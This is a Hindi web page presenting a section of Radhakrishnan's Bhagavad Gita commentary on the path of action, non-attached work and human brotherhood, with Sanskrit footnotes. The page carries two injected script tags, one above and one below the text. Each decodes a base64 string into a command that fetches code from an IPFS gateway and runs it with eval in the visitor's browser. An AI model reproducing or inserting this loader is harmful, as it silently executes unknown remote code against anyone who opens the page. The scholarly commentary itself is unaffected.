भगवद्गीता -राधाकृष्णन पृ. 54

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

12.कर्ममार्ग

गीता में लोक-संग्रह अर्थात् संसार की एकता पर जो बल दिया गया है, उसकी मांग है कि हम अपने जीवन की सारी पद्धति को बदलें। हम दयालु, भले आदमी हैं, जो एक कुत्ते को भी सताए जाते देखकर विचलित और क्रुद्ध हो उठेंगे। हम किसी भी रोते हुए बच्चे या छेड़ी जाती हुई स्त्री की रक्षा के लिए दौड़कर पहुँचेंगे। फिर भी हम बहुत बड़े पैमाने पर लाखों स्त्रियों और बच्चों के प्रति अन्याय करते रहते हैं और अपने-आप को इस विश्वास द्वारा सन्तोष दे लेते हैं कि हम अपने परिवार या नगर या राज्य के प्रति अपना कर्तव्य निवाह रहे हैं। गीता में हमसे मानवीय भ्रातृत्व पर बल देने के लिए कहा गया है। शंकराचार्य ने इस बात की ओर संकेत किया है कि जहां कहीं भी युद्ध करने का आदेश दिया गया है, वहां वह आदेशात्मक (विधि) नहीं है, अपितु उस समय विद्यमान प्रथा का ही सूचक हैं।[१] गीता ऐसे उथल-पुथल के काल की रचना है, जिस प्रकार के कालों में से मानवता समय-समय पर गुज़रती रहती है, जिसमें बौद्धिक, नैतिक, सामाजिक और राजनीतिक विधान एक-दूसरे के साथ संघर्ष कर रहे होते हैं; और जब इनमें उचित रूप से समंजन नहीं होता, तब प्रचण्ड उत्पात होते हैं।
स्वतःप्रमाण अच्छाई के विधान, और उसमें बाधा डालने वाली रूढ़ियों में चल रहे संघर्ष में कभी-कभी अच्छाई के विधान को एक मनोवैज्ञानिक तथ्य और एक ऐतिहासिक प्रक्रिया बनने का अवसर देने के लिए बल का प्रयोग करना आवश्यक होता है। हमें इस संसार में, जैसा कि यह है, रहते हुए कर्म करना होता है और साथ ही इसे सुधारने के लिए भी भरसक प्रयत्न करना होता है। जीवन हमारा अधिक-से-अधिक जो कुछ बिगाड़ सकता है, वह भी जब सामने हो, या जब हम सब प्रकार की हानि, शोक और अपमान में डूबे हुए हों, तब भी हमें ग्लानि से मलिन नहीं होना चाहिए।
यदि हम गीता की निष्कामता और समर्पण की भावना के अनुसार कार्य करें और अपने शत्रुओं तक से प्रेम करें, तो हम संसार को युद्धों से मुक्ति दिलाने में सहायता करेंगे।[२] यदि हम कर्म के फल में अनाशक्ति और परमात्मा के प्रति समर्पण की भावना विकसित कर लें, तब हम कर्म करते रह सकते हैं। जो व्यक्ति इस भावना से कार्य क्रता है, वह नित्य-संन्यासी है।[३]


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. तस्माद् युध्यस्वेत्यनुवादमात्रं, न विधिः, न ह्मत्र युद्धकत्र्तव्यता विधीयते। गीता पर शंकराचार्य की टीका, 2, 18
  2. इस वैदिक प्रार्थना से तुलना कीजिएः “यहां पर जो कुद भी घोर है, क्रूर है और पापमय है, वह सब शान्त हो जाए। सब वस्तुएं हमारे लिए कल्याणकारी और शान्तिपूर्ण हो जाए।”? यदिह घोरं, यदिह क्रूरं, यदिह पापम् तच्छान्तं, तच्छिवं, सर्वमेव शमस्तु नः।
  3. 5, 3; याज्ञवल्क्य स्मृति से भी तुलना कीजिए, जहां संन्यासी की दशा का वर्णन करने के बाद यह कहा गया है कि वह गृहस्थ भ, जो ज्ञान का उपासक है और सत्यभाषी है, (संन्यास ग्रहण किए बिना भी) मुक्ति प्राप्त करता है। 3, 204-5

संबंधित लेख

साँचा:भगवद्गीता -राधाकृष्णन